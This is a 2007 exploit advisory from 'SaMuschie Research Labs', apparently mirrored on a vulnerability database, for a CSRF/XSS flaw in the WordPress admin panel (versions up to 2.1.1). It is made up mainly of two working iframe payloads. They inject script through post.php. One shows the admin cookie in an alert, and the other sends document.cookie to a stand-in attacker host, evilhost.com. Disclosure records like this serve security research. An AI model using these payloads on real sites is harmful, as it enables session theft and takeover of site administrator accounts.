WordPress AdminPanel CSRF/XSS - 0day

🗓️ 12 Mar 2007 00:00:00Reported by RootType
Website Security 0day WordPress AdminPanel CSRF/XS

                                                -----BEGIN&nbsp;PGP&nbsp;SIGNED&nbsp;MESSAGE-----
Hash:&nbsp;SHA1

+---------------------------------------------------------------------------+
&gt;&nbsp;SaMuschie&nbsp;Research&nbsp;Labs&nbsp;proudly&nbsp;presents&nbsp;.&nbsp;.&nbsp;.&nbsp;|&nbsp;
+---------------------------------------------------------------------------+
&gt;&nbsp;Application:&nbsp;wordpress&nbsp;Version:&nbsp;&lt;=&nbsp;2.1.1&nbsp;|&nbsp;
&gt;&nbsp;Vuln./Exploit&nbsp;Type:&nbsp;AdminPanel&nbsp;CSRF/XSS&nbsp;Status:&nbsp;0day&nbsp;|&nbsp;
+---------------------------------------------------------------------------+
&gt;&nbsp;Discovered&nbsp;by:&nbsp;Samenspender&nbsp;Released:&nbsp;20070226&nbsp;|&nbsp;
&gt;&nbsp;SaMuschie&nbsp;Release&nbsp;Number:&nbsp;1&nbsp;|&nbsp;
+---------------------------------------------------------------------------+

Exploit:

Cookie&nbsp;in&nbsp;an&nbsp;Alert&nbsp;Box:
&lt;iframe&nbsp;width=600&nbsp;height=400
src='http://example.com/wp-admin/post.php?action=delete&amp;post=%27%3E%3Cscript%3Ealert(d&nbsp;\
ocument.cookie)%3C/script%3E%3Clol=%27'&gt;&lt;/iframe&gt;

Cookie&nbsp;send&nbsp;to&nbsp;an&nbsp;Evil&nbsp;Host:
&lt;iframe&nbsp;width=600&nbsp;height=400
src='http://example.com/wp-admin/post.php?action=delete&amp;post=%27%3E%3Cscript%3Eimage=d&nbsp;\
ocument.createElement(%27img%27);image.src=%27http://evilhost.com/datagrabber.php?cook&nbsp;\
ie=%27%2bdocument.cookie;%3C/script%3E%3Clol=%27'&gt;&lt;/iframe&gt;

+---------------------------------------------------------------------------+
&gt;&nbsp;Lameness&nbsp;Disclaimer&nbsp;|&nbsp;
+---------------------------------------------------------------------------+
&gt;&nbsp;SaMuschie&nbsp;Research&nbsp;Labs&nbsp;was&nbsp;found&nbsp;to&nbsp;publish&nbsp;vulnerabilities&nbsp;within&nbsp;well&nbsp;|&nbsp;
&gt;&nbsp;known&nbsp;software&nbsp;products,&nbsp;which&nbsp;are&nbsp;easy&nbsp;to&nbsp;discover&nbsp;and&nbsp;exploit.&nbsp;|&nbsp;
&gt;&nbsp;&gt;&nbsp;
&gt;&nbsp;SaMuschie&nbsp;researchers&nbsp;just&nbsp;spend&nbsp;a&nbsp;minimum&nbsp;of&nbsp;time&nbsp;and&nbsp;knowledge&nbsp;for&nbsp;each&nbsp;|
&gt;&nbsp;vulnerability.&nbsp;Hence&nbsp;readers&nbsp;of&nbsp;this&nbsp;advisory&nbsp;are&nbsp;requested&nbsp;not&nbsp;to&nbsp;ask&nbsp;|&nbsp;
&gt;&nbsp;any&nbsp;questions&nbsp;to&nbsp;the&nbsp;researchers....&nbsp;they&nbsp;don't&nbsp;know&nbsp;the&nbsp;answer&nbsp;;)&nbsp;|&nbsp;
+---------------------------------------------------------------------------+
+---------------------------------------------------------------------------+
&gt;&nbsp;EOF&nbsp;|&nbsp;
+---------------------------------------------------------------------------+
-----BEGIN&nbsp;PGP&nbsp;SIGNATURE-----
Version:&nbsp;GnuPG&nbsp;v1.4.6&nbsp;(GNU/Linux)

iD8DBQFF4xadMFgfGpQK8VERAkO5AJ9V8uosk2DATRTARHDhPxNe+RHirgCeKQ0h
aFgDpHnxPP+/4Ot5bLBZy9Q=
=/gS4
-----END&nbsp;PGP&nbsp;SIGNATURE-----
12 Mar 2007 00:00Current
7.1High risk
Vulners AI Score7.1